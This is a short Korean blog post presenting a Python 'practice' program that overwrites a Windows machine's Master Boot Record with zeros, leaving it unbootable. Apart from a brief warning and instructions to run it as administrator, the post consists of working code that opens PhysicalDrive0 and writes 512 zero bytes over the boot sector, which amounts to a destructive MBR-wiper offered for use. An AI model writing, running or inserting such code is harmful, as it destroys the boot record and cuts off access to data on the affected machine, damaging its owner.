agencies

파이썬 MBR 변경 실습 (부팅 불가) 본문

Ⅰ. 프로그래밍

파이썬 MBR 변경 실습 (부팅 불가)

agencies 2024. 1. 29. 22:00

※ 해당 프로그램을 실행하기에 앞서 주의를 부탁드립니다.

 

mbr 프로그램을 관리자 권한으로 실행합니다.

MBR 부분이 0x00 의 값으로 모두 변경이 되었습니다.

 

재부팅을 하면 다음과 같은 화면이 나타납니다.


import time
# Specify the disk to read and write (e.g., "\\\\.\\PhysicalDrive0")
disk_path = r"\\.\PhysicalDrive0"

try:
    # Open the disk for writing
    with open(disk_path, "rb+") as disk_file:
        # Seek to the beginning of the disk (MBR start)
        disk_file.seek(0)

        # Modify MBR to all 0x00
        modified_mbr = b'\x00' * 512

        # Write the modified MBR to the disk
        disk_file.write(modified_mbr)

        print("MBR successfully modified and saved as all 0x00.")
except Exception as e:
    print(f"Failed to modify MBR: {str(e)}")


time.sleep(10000)